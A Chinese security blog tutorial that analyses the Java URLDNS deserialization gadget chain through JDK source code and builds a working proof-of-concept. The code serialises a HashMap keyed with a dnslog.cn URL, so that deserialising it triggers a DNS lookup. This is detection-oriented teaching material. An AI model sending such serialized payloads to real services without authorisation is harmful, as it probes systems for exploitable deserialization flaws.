一、什么是URLDNS链
URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本,可以用于检测是否存在反序列化漏洞,理解好URLDNS链,那么接下来对CC链的学习就会简单许多。
本篇文章由星盟安全团队成员@Elite师傅投稿,博客地址为 https://blog.byzhb.top/
二、URLDNS链分析
2.1 调用链路分析
URLDNS链的调用链路如下:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
2.2 HashMap类分析
我们来到 HashMap.java文件,查看HashMap类的readObject方法,代码如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我们看下该方法的最后一行代码
putVal(hash(key), key, value, false, false);
可以看到,它调用了该类中的 hash 函数来处理 key 变量。接下来,我们分析一下 key 参数是如何获得的。
通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的键赋值给key变量
K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键
K key = (K) s.readObject();
我们再看下 hash 函数是如何对key处理的,我们在HashMap类中找到hash函数代码如下
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
经过分析,只要 key 对象(即传入 map 的键)不为空,就会执行 h = key.hashCode(),即调用 key 对象的 hashCode() 方法。
2.3 URL类分析
这里接上文,假设我们传入map中的key为URL对象,那么便调用URL类中的hashCode()方法,我们看下这个方法的代码
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里看到,只要 hashCode = -1的话,那么便会执行handler.hashCode(this);,我们去看下 hashcode 属性是怎么定义的
private int hashCode = -1;
我们发现 hashcode 的初始值为 -1,也就是说默认情况下会执行handler.hashCode(this),我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:
handler属性代表了URLStreamHandler类的临时对象
transient URLStreamHandler handler;
//URLStreamHandler 是一个 transient 类型的属性,不会被反序列化。也就是说,把整个 URL 对象作为参数传入 URLStreamHandler 类的 hashCode 方法。
经分析,也就是把这一整个URL对象作为参数,传入了URLStreamHandler类的hashCode方法
那我们去URLStreamHandler类当中,查看下hashCode方法的代码
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
我们看到 hashcode 方法接收一个URL类型的参数,然后对接收的 URL 对象(即前面的 key)执行 InetAddress addr = getHostAddress(u),并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记住,下面有用到)
getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问
三、exp编写
3.1 思路整理
根据上面的链路分析,我们首先需要创建一个指向 DNSLog 平台链接的 URL 对象,然后作为键传入 HashMap 数组,最后将该数组进行序列化,再反序列化并调用其 readObject 方法。这个过程会将 URL 对象赋值给 key,然后使用 hash 方法处理 URL 对象,最终调用 URL 对象的 hashCode 方法。以 URL 对象为参数,调用 URLStreamHandler 类的 hashCode 方法,从而访问 URL 对象指向的链接。
3.2 初步exp
现在的exp大体如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址
map.put(url,"114");//键值用不到,随便设置
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析
map.put(url,"114");//键值用不到,随便设置
我们去看下map(HashMap类)的put方法,代码如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
我们发现,这个put方法和readObject方法触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析
return putVal(hash(key), key, value, false, true);
下面是这两个方法的语句对比可以看到是一模一样的
put方法:
readObject方法:
需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析。
我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义。
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到,只有当 hashCode 的值为 -1 时,才会执行 hashCode = handler.hashCode(this);,从而进行 DNS 解析。解析完成后,hashCode 属性被赋值为这个 URL 解析的哈希值,即一个正数。因此在序列化时这个 hashCode 属性的值保持不变,当反序列化时,由于 hashCode != -1,直接进入 if 语句,执行 return hashCode;,最终导致无法再次触发 DNS 解析。
3.3 exp改进
为了避免在 put 时提前触发 DNS 解析,我们可以通过反射先将 hashCode 值修改为一个不为 -1 的数字。然后在 put 完成后,再通过反射将 hashCode 值设回 -1。示例如下:
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);
//通过反射我们可以动态修改一个对象中的属性和方法
3.4 最终exp
最终exp代码如下:
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我们再次在put语句下面打断点,观察是否还会提前触发,可以看到DNSLog平台没有记录,代表put时由于hashCode值不为 -1 ,没有执行handler.hashCode(this)
我们在断点处继续执行,可以看到反序列化成功触发了DNS解析
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@Elite师傅
原文始发于微信公众号(星盟安全):Java安全-URLDNS链审计
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论